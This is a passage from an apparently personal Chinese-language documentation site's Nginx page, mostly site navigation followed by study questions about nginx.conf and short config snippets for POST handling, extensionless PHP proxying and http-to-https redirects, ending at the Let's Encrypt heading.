class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Nginx\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Nginx\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx_1\" class=\"md-nav__link\">\n    Nginx思考题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#post\" class=\"md-nav__link\">\n    普通资源允许POST\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#php\" class=\"md-nav__link\">\n    不带后缀的文件当成php执行\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#httphttps\" class=\"md-nav__link\">\n    http跳转到https\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#lets-encrypthttps\" class=\"md-nav__link\">\n    获得Let's encrypt免费https证书\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"获得Let's encrypt免费https证书\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    使用方法：\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用方法：\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    第一步：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#getcertpy\" class=\"md-nav__link\">\n    第二步，运行我的getcert.py（创建私钥并提交申请）：\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#acmesh\" class=\"md-nav__link\">\n    使用acme.sh获得泛域名证书\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#https\" class=\"md-nav__link\">\n    配置安全的https\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#js\" class=\"md-nav__link\">\n    反向代理之替换网页、JS中的文本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git\" class=\"md-nav__link\">\n    禁止git目录访问\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rootalias\" class=\"md-nav__link\">\n    root与alias的区别\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash-on-win10nginx\" class=\"md-nav__link\">\n    在bash on win10上使用Nginx\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    使上一级服务知道用户IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx_2\" class=\"md-nav__link\">\n    Nginx允许列目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#seaweedfs\" class=\"md-nav__link\">\n    安全地使用SeaweedFS作为图片反向代理服务器\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"安全地使用SeaweedFS作为图片反向代理服务器\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#nginx_3\" class=\"md-nav__link\">\n    Nginx配置\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Nginx配置\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#httpupstream\" class=\"md-nav__link\">\n    在http段中添加upstream\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#server\" class=\"md-nav__link\">\n    server段配置\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#header\" class=\"md-nav__link\">\n    修改后端特定header\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#nginxseaweedfs\" class=\"md-nav__link\">\n    我还是想让nginx也能支持给seaweedfs上传文件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#proxy_passdns\" class=\"md-nav__link\">\n    配置proxy_pass使用的DNS服务器\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker-seaweedfs\" class=\"md-nav__link\">\n    Docker 我使用的seaweedfs启动命令\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Docker 我使用的seaweedfs启动命令\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#filer\" class=\"md-nav__link\">\n    编译镜像 避免丢失filer数据\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    启动命令\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#b\" class=\"md-nav__link\">\n    B服务器的实现\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"B服务器的实现\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#pythonpyseaweed\" class=\"md-nav__link\">\n    顺便附上Python库pyseaweed的使用\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#proxy_pass\" class=\"md-nav__link\">\n    proxy_pass 动态代理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginxserver\" class=\"md-nav__link\">\n    Nginx隐藏Server头 简单方式\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#https_1\" class=\"md-nav__link\">\n    使用阿里云函数计算定时更新https证书\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用阿里云函数计算定时更新https证书\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    入口\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    代码框架\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    更多说明\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#web\" class=\"md-nav__link\">\n    web服务器上的部署\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nfsnginx\" class=\"md-nav__link\">\n    使用nfs存储Nginx日志\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#openresty-luahook\" class=\"md-nav__link\">\n    使用openresty Lua编程实现hook跳转\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    不同子域名反代到不同端口\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx_4\" class=\"md-nav__link\">\n    Nginx配置文件格式化\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx_1\" class=\"md-nav__link\">\n    Nginx思考题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#post\" class=\"md-nav__link\">\n    普通资源允许POST\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#php\" class=\"md-nav__link\">\n    不带后缀的文件当成php执行\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#httphttps\" class=\"md-nav__link\">\n    http跳转到https\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#lets-encrypthttps\" class=\"md-nav__link\">\n    获得Let's encrypt免费https证书\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"获得Let's encrypt免费https证书\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    使用方法：\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用方法：\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    第一步：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#getcertpy\" class=\"md-nav__link\">\n    第二步，运行我的getcert.py（创建私钥并提交申请）：\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#acmesh\" class=\"md-nav__link\">\n    使用acme.sh获得泛域名证书\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#https\" class=\"md-nav__link\">\n    配置安全的https\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#js\" class=\"md-nav__link\">\n    反向代理之替换网页、JS中的文本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git\" class=\"md-nav__link\">\n    禁止git目录访问\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rootalias\" class=\"md-nav__link\">\n    root与alias的区别\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash-on-win10nginx\" class=\"md-nav__link\">\n    在bash on win10上使用Nginx\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    使上一级服务知道用户IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx_2\" class=\"md-nav__link\">\n    Nginx允许列目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#seaweedfs\" class=\"md-nav__link\">\n    安全地使用SeaweedFS作为图片反向代理服务器\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"安全地使用SeaweedFS作为图片反向代理服务器\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#nginx_3\" class=\"md-nav__link\">\n    Nginx配置\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Nginx配置\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#httpupstream\" class=\"md-nav__link\">\n    在http段中添加upstream\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#server\" class=\"md-nav__link\">\n    server段配置\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#header\" class=\"md-nav__link\">\n    修改后端特定header\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#nginxseaweedfs\" class=\"md-nav__link\">\n    我还是想让nginx也能支持给seaweedfs上传文件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#proxy_passdns\" class=\"md-nav__link\">\n    配置proxy_pass使用的DNS服务器\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker-seaweedfs\" class=\"md-nav__link\">\n    Docker 我使用的seaweedfs启动命令\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Docker 我使用的seaweedfs启动命令\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#filer\" class=\"md-nav__link\">\n    编译镜像 避免丢失filer数据\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    启动命令\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#b\" class=\"md-nav__link\">\n    B服务器的实现\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"B服务器的实现\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#pythonpyseaweed\" class=\"md-nav__link\">\n    顺便附上Python库pyseaweed的使用\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#proxy_pass\" class=\"md-nav__link\">\n    proxy_pass 动态代理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginxserver\" class=\"md-nav__link\">\n    Nginx隐藏Server头 简单方式\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#https_1\" class=\"md-nav__link\">\n    使用阿里云函数计算定时更新https证书\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用阿里云函数计算定时更新https证书\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    入口\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    代码框架\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    更多说明\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#web\" class=\"md-nav__link\">\n    web服务器上的部署\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nfsnginx\" class=\"md-nav__link\">\n    使用nfs存储Nginx日志\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#openresty-luahook\" class=\"md-nav__link\">\n    使用openresty Lua编程实现hook跳转\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    不同子域名反代到不同端口\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx_4\" class=\"md-nav__link\">\n    Nginx配置文件格式化\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"nginx\">Nginx<a class=\"headerlink\" href=\"#nginx\" title=\"Permanent link\">&para;</a></h1>\n<p>记录用到的配置，说不定你也能遇到这些特殊需求呢~</p>\n<h2 id=\"nginx_1\">Nginx思考题<a class=\"headerlink\" href=\"#nginx_1\" title=\"Permanent link\">&para;</a></h2>\n<p>请以批判的眼光阅读以下链接或者自行google，回答以下问题：</p>\n<p>http://www.nginx.cn/591.html</p>\n<ol>\n<li>\n<p>nginx.conf在你Linux的什么目录下？用什么命令知道的？修改配置后通过什么命令重新载入配置？</p>\n</li>\n<li>\n<p>nginx.conf分为几个部分？我们需要关注的是哪个？</p>\n</li>\n<li>\n<p>nginx.conf中怎么表示注释行？是否留意到include的行载入了额外的配置文件？</p>\n</li>\n<li>\n<p>如何增加一个虚拟主机，根据域名来区分访问不同的网站？访问者直接访问IP或者错误的域名会匹配到默认网站，怎么配置默认网站？</p>\n</li>\n</ol>\n<p>这些是更为进阶/发散的问题：</p>\n<ol>\n<li>\n<p>静态内容：root与alias有何区别？访问403了怎么办？</p>\n</li>\n<li>\n<p>动态内容/反向代理：如何做负载均衡、文本替换？</p>\n</li>\n<li>\n<p>全站https和HTTP/2.0怎么配置？</p>\n</li>\n<li>\n<p>Nginx是否有必要作为一个Docker容器运行？CentOS下Nginx镜像很大，怎么<a href=\"https://www.v2ex.com/t/360759\">减小镜像大小</a>？</p>\n</li>\n<li>\n<p>Nginx的worker进程一般不是root权限的，那是怎么监听到80端口的？</p>\n</li>\n<li>\n<p>Nginx在处理高并发的时候参数如何调优？</p>\n</li>\n<li>\n<p>如何在Nginx层面拦截sql注入、密码爆破等安全风险？<a href=\"https://github.com/alexazhou/VeryNginx\">VeryNginx</a></p>\n</li>\n</ol>\n<h2 id=\"post\">普通资源允许POST<a class=\"headerlink\" href=\"#post\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">error_page</span><span class=\"w\"> </span><span class=\"mi\">405</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"mi\">200</span><span class=\"w\"> </span><span class=\"mi\">@405</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<h2 id=\"php\">不带后缀的文件当成php执行<a class=\"headerlink\" href=\"#php\" title=\"Permanent link\">&para;</a></h2>\n<p>这里的思路是用反向代理的方式简单实现</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nt\">path</span><span class=\"o\">/</span><span class=\"nt\">something</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"err\">proxy_pass</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">yourdomain</span><span class=\"o\">/</span><span class=\"n\">path</span><span class=\"o\">/</span><span class=\"n\">something</span><span class=\"o\">.</span><span class=\"n\">php</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"err\">proxy_method</span><span class=\"w\"> </span><span class=\"err\">GET</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>顺带拒绝掉对php后缀的猜测：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">location</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">path</span><span class=\"o\">/</span><span class=\"nv\">something</span>.<span class=\"nv\">php</span><span class=\"w\"> </span>{\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"ss\">(</span>$<span class=\"nv\">remote_addr</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"s1\">&#39;服务器自身IP&#39;</span><span class=\"ss\">)</span><span class=\"w\"> </span>{\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"mi\">404</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span>}\n<span class=\"w\">    </span><span class=\"k\">include</span><span class=\"w\"> </span><span class=\"nv\">fastcgi</span>.<span class=\"nv\">conf</span><span class=\"c1\">;</span>\n}\n</code></pre></div>\n\n<h2 id=\"httphttps\">http跳转到https<a class=\"headerlink\" href=\"#httphttps\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"err\">rewrite</span><span class=\"w\"> </span><span class=\"err\">^</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"err\">$</span><span class=\"n\">host</span><span class=\"err\">$</span><span class=\"n\">request_uri</span><span class=\"o\">?</span><span class=\"w\"> </span><span class=\"n\">permanent</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h2 id=\"lets-encrypthttps\">获得Let&rsquo;s encrypt免费https证书<a class=\"headerlink\" 